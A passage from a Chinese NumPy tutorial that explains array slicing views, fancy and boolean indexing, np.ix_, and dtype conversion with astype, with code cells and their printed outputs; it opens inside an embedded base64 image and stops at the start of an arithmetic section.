UqWuyCaMrYZDebszZtErYY/3lv3pLxc4fFkrVpk12wWM2m3OycbKttzV/wOivbKubaHTaLeVveVmNsWzIy3tn5P&#43;9/UHT4o0OffXr0y9MnLtZeqK&#43;73tXVMTg4ODZ6JzWto3JM0fisNYBnxLQGAKy&#43;p9zGTJZlSZJmpqaNXW3JzLKaTeYtGXZBFLIy7YJoNZtsFnOOzW58IS2tVqIpy/iaX&#43;PC6dbcPLsgOkRhzV/YOivb7si2itlWm5CVmW0VTRmb7YJoydwimrJMGZuzrTZTxmaHze4Qhbzc7Fy7bc1f8DrLLojG2wRe3Zp3/zp21p53dx84cKC87HDV8crTX5y8cvnizYbr3d3dQ0ND43fG5ubmJEkKh8NMawDpYFoDAJ4X40w0Ho/f&#43;/ItTZNlORAISJI0NTEpmsxWs8VmERyiYLw51n7/reBWs8VqNllFy70E0SqIomAWBbNVEO33s1kEuyDaBYtdEEWLYCOiDZNoEayCaBUtxpEhdXwQTWaLOctmFbKtomgRRItgF8QP3nu/tOSDj48eqaqqOvPVqSuXL95sqOvqbhsY6h8fH5&#43;fn19cXAxFwsYdwnVdZ0MDeAZMawDAKnvoIo9x8UfTNFlVguGQ3&#43;/3Sr6ZmZnhwaHO9o4fm5rrrt&#43;4WHvh5Injn37ycdmRD0sPlOwt3v3urp3vvPPOzp0733777R078gt2/LmgYHtBwfaCgoId&#43;QV/2ZFfULB9x4787du35&#43;fnv5W/fXtB/lv524log5Sf/1Z&#43;wZ/yC/5kPDCOD6ljxY4d&#43;Tt37nznnf/dvXv3e3uL9u17/9BHJZ99evTkyeqamrPffv1Nc3Njb2/38OjI5OSk2&#43;1eWlpKTWvje60B4KdiWgMAni/jnkCapum6HolEonLsrs/rdrtHRkb6&#43;/s7OjraWlqvX/uu9vy5M19&#43;UV1ZdezjssOHSktL9u/f9/6&#43;D957/73ivcWFxUV7iov2FBcWFRXuLircXVS4q6hwV&#43;Ged/cWFxYXFhUXFhUX7SkCsHEU7ioq3F1c9K7xwKi4aE9R4e7i4sK9xYX7Pnhv3773Pyw9ePjQh&#43;UVhz45dvTkqcqac19&#43;feXS9Wvftbc1DwwMTI5POGdmPR6P3&#43;83vnlL0ZjWAJ4R0xoA8BylPm6t67qu6&#43;FwOBqNSpK0sLAwPj4&#43;MjLS09PT0d7aUFf/zdeXa8&#43;fO/3FyarKzz85drT8SFnZkUNHDh889NHBjw5&#43;eLCktPRASWnJ/tIDJQdLSlOVHig5WHqgtGR/acn&#43;UgAbxsGS0oOlBw6WlN7761&#43;y/69HhoMHD5YeKDt85NChDyvKyj/79Fjl8U9Onaw8d/b0N19fvHbtWnNTfXdP&#43;8id0dnpGZfL5fV6A4GAMa2Nq9bxJOMawE/GtAYArL7UHYCMx/F4XNM043EkEgmFQi6Xa3p6erB/oKenp6u7rbGx4Ycfvrty5dL52q/OnDldfeLzz48f&#43;/Szo8c&#43;Kf/4WNnRo&#43;UVFRXl5eXl5UcrKioqyo/cq6y8/EhZ&#43;X0VZUS0YaqoqKgoq6ioKC8/YlRhPHX4SFnZ4Y&#43;Plh/7uOzz48eqqo6frD5x&#43;ssTZ8&#43;dvnLl0rUfrjY23GxvaxkcuD01Oe6ed3k8HkmSguFQVL73QWvjNmYA8FMxrQEAz1dqWqu6JqtKLBbzBwO&#43;RWlubm5ycnJkaHiwf6Czo6XpZuON61e/&#43;&#43;bbK5cv1pz76vQX1V&#43;ePvHFqapTJ06eOll58kRVdeW9qqqqqqqOG1VXV/7118oqItooVR2vrjp&#43;orqyesXf/RNV1dVVx0&#43;cqDpR/fkXp6rOfHnyy9Mnzp09c&#43;nCxSuXL169erWhoaGttamzq3VkZMQ5O&#43;1ecPl8vsXlpUAoKKuKoijG&#43;2vW&#43;qgJ4B8S0xoAsPoevWodj8f1RDyeTIQi4agc8y1KkiTNz89PTU2Nj48PDNzu6upobWtqbKq7cePGd99fMVy6dOnChQu1tbW1tbXna7&#43;qqTlbU3P2fM2Z8zVnztecvd&#43;ZFQ&#43;IaENUc/6Bztd&#43;df78udramgu1Z2tqzl6svXDxwvnLly9&#43;&#43;&#43;23P3z/7dWr31&#43;9&#43;n1jU11bW0tnZ/vAwO2JiQmPe/6uzytJkt/vD0XCMUVmVwNIB9MaAPAcJVZKJuPJhK7riqb6g4FQJOzxeFwu18LCwvT05PDwYP9Ab29vd2dXa2tbU3NzY3PTzabGusaGmzcbrjfU1dfXXa2vu15fd7Wh/kZDXX1DXX1D/Y36uqv3u77iMRGt&#43;67X111vqL/24I83GupvNDTUNdTfuNlQ19hU1/JjU3tbS3t7e1t7c3d3Z39//9DI4MTEhGtu3iv5lvyLgUAgHA7HFFlWldTnVvikNYBnwLQGADxHK5e1pmmapqmqGovFwuGw8QXXXq/X5XJNTU2NjY0NDg729/f39d7q7uxqb21ra2tpbf2xpaW5paW5taW5uelmc9PNH5sbH8p4/rG/RUTrtwajlh9vGqV&#43;bG1pbm1pbmttamtv7mhv7exo6&#43;lu7&#43;vrGxwcvHPnztTUlNPp9Hg8vkVpOeAPBoOxWExRFE3TjK8zYFkDeDZMawDAc7RyWsfjcV3XNU1TFCUajQaDQb/fv7i46PV63W63c2Z2amLSuG34wMBAf3//rdt9fX19fb23&#43;npv9fT0dHd393b3rKynq5uINmjdnd1dHUY93Z093Z29PV29PV3d3Z09PT23bt3q6&#43;vt6&#43;vt6&#43;sbGBgYHOy/c&#43;fO5OSk0&#43;mcm5tzu93G&#43;8CDwWAkEmFaA1gVTGsAwHOUeISu64qiKIoSDoeDwWAgEFheXvZ6ve4Fz9zcnNPpdM7MTk5Ojo2NTYyNj42NjY6OjoyMDA8PDw8PD40MD4/eezw8PDxy3&#43;joqPHHAGwoj/27PzQyODw6NDZ6Z2z0ztjY6MTE2PTklNPpdLlcHo/nrs/rlXzLAX8oFHpoVxvTeq2PmgD&#43;UTGtAQDPi3GSmvrVuHCdWteyLEej0XA47A8GlgN&#43;SZLu&#43;ryeuwtut9vtds/NOufmZp3OGefs9MzM1PT0pNHUzGTqMRFt4J5ocnpicnrCOTPrnJmdm5udn3d6XG6Px&#43;P1eiVJWlpaMu5bFpVjMUU2dnXqAMU3bwF4ZkxrAMAqW3HbsuRDl4BWXrtWVfXewJZj4WgkGA75gwG/3&#43;/3&#43;5eXl5eWlqSlRd&#43;iZPy6uLjolXxeyefz&#43;bz3&#43;QDgQV6vd3HRJy35FhcXpaVFacknLfmWl5eXA35/MBAKhe5drFZkRVMVTTWuV6/RwRLAusK0BgCssgdvCv6A1EcZjXWtaZqu66quKZoalWOxWCxyXyAUDIeDoVAgFAneKxQwfgyH73XvmfulnieiDVA4HA4bUzm8QigSDkXCwXDIeBCJRSOxaCQSMa5Ry7JsfCBF0VQtrmtx/dEPrazJYRPAOsC0BgCssr95kvrQPcP1RFy7T1YVRVONC9qKpsYUOXU2LKtERIesqm4AAAOTSURBVPdSNDmVrMaMYkpUlqOyHI0pUUWJpZ5XVVlVVVVVNU1TNFVP/PWN38xpAKuFaQ0AWGV/5/Wf1LqOJxN6Iq4n4vFkQlsprhqpuqLqihZXdV1NPUlEGzv9yalaXL1/HFGMP2xMa&#43;N7CoxdbRygHnvrMsY2gGfAtAYAvFArh3fqlryp7&#43;VKeehHAPh76A967O&#43;u/GTKWh8RAawfTGsAwAvy6GcaHzq7fXRvA8BjPeV48nf&#43;g2t7PASw/jCtAQD/7zzlpBkAnuJJ23utj2oA1j&#43;mNQDgBXnSCe6Tznpf8Bk5gHXgbx5AntcBDsCGx7QGAKwxzn0BrJaVhxEOJgBeJKY1AOBFW3nW&#43;1OvOAHAUzx0qHns8wDwPDCtAQBr7KETX06CAayWnzTFASAdTGsAwAvylBNZTnMBrIonHUw4yAB43pjWAAAAAACkhWkNAAAAAEBamNYAAAAAAKSFaQ0AAAAAQFqY1gAAAAAApIVpDQAAAABAWpjWAAAAAACkhWkNAAAAAEBamNYAAAAAAKSFaQ0AAAAAQFqY1gAAAAAApIVpDQAAAABAWpjWAAAAAACkhWkNAAAAAEBamNYAAAAAAKSFaQ0AAAAAQFqY1gAAAAAApIVpDQAAAABAWpjWAAAAAACkhWkNAAAAAEBamNYAAAAAAKSFaQ0AAAAAQFqY1gAAAAAApIVpDQAAAABAWpjWAAAAAACkhWkNAAAAAEBamNYAAAAAAKSFaQ0AAAAAQFqY1gAAAAAApIVpDQAAAABAWpjWAAAAAACkhWkNAAAAAEBannFaa3H9X3/1S0VT48mEoqlEREREREREG7Z4MhGJRVVdU3VNVpWYIv/y17&#43;SVeVp01qL64lk8te//c3vfv/Gr3//&#43;pt//AMRERERERHRhu03v/vt62&#43;&#43;8Yd/&#43;&#43;O//&#43;d/vP7mG6&#43;/&#43;cabf/xD4nHXt41BrSfiL8UU2XhPuBbXtbgeBQAAAABgA1MURVXVUCiUTCZDoZDxjCzLjxvX8XtXrVVdSySTMUWOyjFFU1O/QURERERERLQBU1U5HtcUJfbIbz06rBPhaCSRTL6USOjGh7NTH9EmIiIiIiIiomQyrutqLBbRdTWR0B97wzOjlxLJZCQSicc1TVPicW3lzCYiIiIiIiLaaOmJuPEh6ngykXoynkw8Oq1lORqJhJLJ&#43;EvJZNy4p1k8rj10BZuIiIiIiIhow2Z8gDo1sJ901VqL6/8HdyGg&#43;LSXd1YAAAAASUVORK5CYIIA" alt=""  />
</p>
<p>数组切片是原始数组的视图，也就是说对切片的所有操作都是会影响原数组，视图数据并不是原始数据的拷贝，如果要得到切片的副本，需要显示地进行复制，如 a[2:3].copy()</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">9</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1, 2, 3],<br>
[4, 5, 6],<br>
[7, 8, 9]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>5</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>5</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span> <span class="c1">#取倒数第二行，从第二列开始的两列</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">b</span><span class="p">,</span><span class="n">b</span><span class="o">.</span><span class="n">shape</span><span class="p">)</span><span class="c1"># 取出的元素的维数也跟着改变了</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><a href="2," title="5 6">5 6</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">:,</span><span class="mi">1</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="o">.</span><span class="n">shape</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>[[8 9]]</p>
<p>(1, 2)</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="o">.</span><span class="n">shape</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>[8 9]</p>
<p>(2,)</p>
<p>结果还是有点不同，索引后的数组不小心的话会出现降维的情况<br>
在 MATLAB 中叫增量运算符，这里有点类似</p>
<ul>
<li>再看看花式索引（用整数数组进行索引）</li>
</ul>
<p>和切片不同，它是复制数据到新数组</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 还可以对数组元素批量操作</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">arange</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span><span class="o">.</span><span class="n">reshape</span><span class="p">((</span><span class="mi">8</span><span class="p">,</span><span class="mi">4</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>[[ 0 1 2 3][ 4 5 6 7]<br>
[ 8 9 10 11][12 13 14 15]<br>
[16 17 18 19][20 21 22 23]<br>
[24 25 26 27][28 29 30 31]]</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">np</span><span class="o">.</span><span class="n">arange</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([0, 1, 2])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="p">[[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">],</span><span class="mi">1</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([1, 5, 9])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="p">[[</span><span class="mi">1</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">2</span><span class="p">],[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 这样选取的是行列交叉点的值</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([ 4, 21, 31, 13])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="p">[[</span><span class="mi">1</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">7</span><span class="p">]][:,[</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 这样选取的是行列矩形区域的值</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 4, 9, 7],<br>
[20, 22, 23],<br>
[28, 30, 31]])</p>
<ul>
<li>还可以使用 np.ix 函数生成索引器</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="p">[</span><span class="n">np</span><span class="o">.</span><span class="n">ix_</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">7</span><span class="p">],</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">])]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 4, 9, 7],<br>
[20, 22, 23],<br>
[28, 30, 31]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 对第二列数据加三</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="p">[</span><span class="n">np</span><span class="o">.</span><span class="n">arange</span><span class="p">(</span><span class="mi">3</span><span class="p">),</span><span class="mi">1</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 0, 16, 2, 6],<br>
[ 4, 17, 9, 7],<br>
[ 8, 27, 13, 11],<br>
[12, 13, 14, 15],<br>
[16, 17, 18, 19],<br>
[20, 21, 22, 23],<br>
[24, 25, 26, 27],<br>
[28, 29, 30, 31]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 还可以这样写</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="p">[</span><span class="n">np</span><span class="o">.</span><span class="n">arange</span><span class="p">(</span><span class="mi">3</span><span class="p">),[</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">]]</span> <span class="o">+=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 0, 19, 2, 6],<br>
[ 4, 20, 9, 7],<br>
[ 8, 30, 13, 11],<br>
[12, 13, 14, 15],<br>
[16, 17, 18, 19],<br>
[20, 21, 22, 23],<br>
[24, 25, 26, 27],<br>
[28, 29, 30, 31]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 那这样呢？应该看出规律来了</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="p">[</span><span class="n">np</span><span class="o">.</span><span class="n">arange</span><span class="p">(</span><span class="mi">3</span><span class="p">),[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">]]</span> <span class="o">+=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 0, 22, 2, 6],<br>
[ 4, 20, 12, 7],<br>
[ 8, 33, 13, 11],<br>
[12, 13, 14, 15],<br>
[16, 17, 18, 19],<br>
[20, 21, 22, 23],<br>
[24, 25, 26, 27],<br>
[28, 29, 30, 31]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="n">br</span><span class="o">&gt;&lt;/</span><span class="n">br</span><span class="o">&gt;</span><span class="c1"># 还能这样子</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="p">[[</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">2</span><span class="p">],[</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">]]</span> <span class="o">+=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[ 0, 22, 2, 9],<br>
[ 4, 20, 12, 7],<br>
[ 8, 36, 16, 11],<br>
[12, 13, 14, 15],<br>
[16, 17, 18, 19],<br>
[20, 21, 22, 23],<br>
[24, 25, 26, 27],<br>
[28, 29, 30, 31]])</p>
<ul>
<li>再来看看布尔型索引</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 还可以这样筛选</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">a</span> <span class="o">&gt;</span> <span class="mi">10</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[False, True, False, False],<br>
[False, True, True, False],<br>
[False, True, True, True],<br>
[ True, True, True, True],<br>
[ True, True, True, True],<br>
[ True, True, True, True],<br>
[ True, True, True, True],<br>
[ True, True, True, True]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1">#把这些数取出来</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="p">[</span><span class="n">b</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([22, 20, 12, 36, 16, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22,<br>
23, 24, 25, 26, 27, 28, 29, 30, 31])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span><span class="p">[</span><span class="n">a</span><span class="o">&gt;</span><span class="mi">10</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([22, 20, 12, 36, 16, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22,<br>
23, 24, 25, 26, 27, 28, 29, 30, 31])</p>
<h2 id="ndarray-的数据类型">ndarray 的数据类型</h2>
<p>可以将整个数组理解成是一整块内存，而 dtype 说明了这块内存的数据类型是什么。</p>
<p>在考虑需要控制数据在内存或磁盘中的存储方式时，了解 dtype 就有必要了</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mf">0.2</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">dtype</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>dtype(&lsquo;float64&rsquo;)</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">dtype</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>dtype(&lsquo;int32&rsquo;)</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span><span class="mf">1.3</span><span class="p">,</span><span class="mf">0.2</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">np</span><span class="o">.</span><span class="n">int64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([1, 0], dtype=int64)</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mf">0.2</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">np</span><span class="o">.</span><span class="n">int64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([1, 0], dtype=int64)</p>
<ul>
<li>还可以用 astype 函数转换数据类型</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mf">0.2</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">astype</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">int64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([1, 0], dtype=int64)</p>
<h2 id="运算">运算</h2>
<h3 id="标量运算">标量运算</h3>
<p>大小相等的数组之间的算术运算，都是元素之间对应相加减乘除，运算单位是数组，批量运算。这点和 MATLAB 也很相似。</p>
<ul>
